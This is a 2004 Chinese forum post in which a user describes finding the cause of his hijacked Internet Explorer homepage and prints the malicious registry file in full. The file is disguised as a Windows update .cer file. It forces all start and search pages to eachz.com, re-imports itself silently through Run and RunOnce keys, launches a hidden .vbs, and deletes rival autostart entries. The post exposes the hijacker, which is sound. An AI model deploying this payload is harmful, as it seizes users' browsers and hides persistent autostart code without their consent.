它偷偷修改了我的IE主頁

來源: 抓到一個特務 於 2004-01-05 06:38:00 [] [舊帖] [給我悄悄話] 閱讀數 : (3030 bytes)
本文內容已被 [ 抓到一個特務 ] 在 2004-02-06 15:24:48 編輯過。如有問題，請報告版主或論壇管理刪除.

見天打開電腦，看到主頁被修改了，REGEDIT導出注冊表後，用XP的恢複功能，恢複成功。
研究導出的文件，抓到一個特務

C:$NtUninstallQ887678$WINSYS2.cer"
我在REGEDIT裏抓到了它的尾巴，在WINDOWS裏根本看不到他，
退到DOS下，找到了這個文件，打開一看是個注冊表文件
內容如下：



REGEDIT4

[HKEY_CURRENT_USERSoftwareMicrosoftInternet Explorer]
"SearchURL"="http://www.eachz.com/"

[HKEY_USERS.DefaultSoftwareMicrosoftInternet Explorer]
"SearchURL"="http://www.eachz.com/"

[HKEY_USERS.DefaultSoftwareMicrosoftInternet ExplorerMain]
"Search Page"="http://www.eachz.com/"
"Default_Search_URL"="http://www.eachz.com/"
"Search Bar"="http://www.eachz.com/"

[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerSearch]
"SearchAssistant"="http://www.eachz.com/"

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerSearch]
"SearchAssistant"="http://www.eachz.com/"

[HKEY_USERS.DefaultSoftwareMicrosoftInternet ExplorerSearch]
"SearchAssistant"="http://www.eachz.com/"

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerMain]
"Start Page"="http://www.eachz.com/"
"First Home Page"="http://www.eachz.com/"
"Default_Search_URL"="http://www.eachz.com/"
"Search Page"="http://www.eachz.com/"
"Search Bar"="http://www.eachz.com/"
"Local Page"="http://www.eachz.com/"

[-HKEY_CURRENT_USERSoftwareMicrosoftwindowsCurrentVersionRun]
[HKEY_CURRENT_USERSoftwareMicrosoftwindowsCurrentVersionRun]
@="regedit -s C:$NtUninstallQ887678$WINSYS2.cer"

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerMain]
"Default_Page_URL"="http://www.eachz.com/"

[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain]
"Default_Search_URL"="http://www.eachz.com/"
"Search Page"="http://www.eachz.com/"
"Search Bar"="http://www.eachz.com/"
"SearchURL"="http://www.eachz.com/"
"Start Page"="http://www.eachz.com/"
"First Home Page"="http://www.eachz.com/"
"Default_Page_URL"="http://www.eachz.com/"
"Local Page"="http://www.eachz.com/"

[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce]
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce]
"WlN32"="C:$NtUninstallQ887678$WINSYS.vbs"

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"WlN32"="regedit -s C:$NtUninstallQ887678$WINSYS2.cer"
"internat.exe"="internat.exe"
"zwupdows"=-
"win"=-
"mwin"=-
"intenet"=-
"Inernet"=-
"Internet"=-
"iexpleror"=-
"zxdows"=-
"qwe"=-
"win1"=-
"winwin"=-
"9i5zxdows"=-
"9i5com01zxdows"=-
"99zxdows"=-
"syste"=-
"intelnat.exe"=-
"88zxdows"=-
"Start Pagewin"=-
"Start Page"=-
"9i5comzxdows"=-
"9q5zxdows"=-
"999izxdows"=-
"033zxdows"=-
"8zxdows"=-
"flash"=-
"3zxdows"=-
"interneet.exe"=-
"u88y"=-
"88u88"=-
"u18"=-
"u1881"=-
"u1882"=-
"u1883"=-
"u1884"=-
"u1885"=-
"u1886"=-
"u1887"=-
"u1888"=-
"system"=-
"u188"=-
"iexpler"=-
"u1810"=-
"WIN32"=-




--文學城www.wenxuecity.com--

所有跟帖： 

請您先登陸，再發跟帖！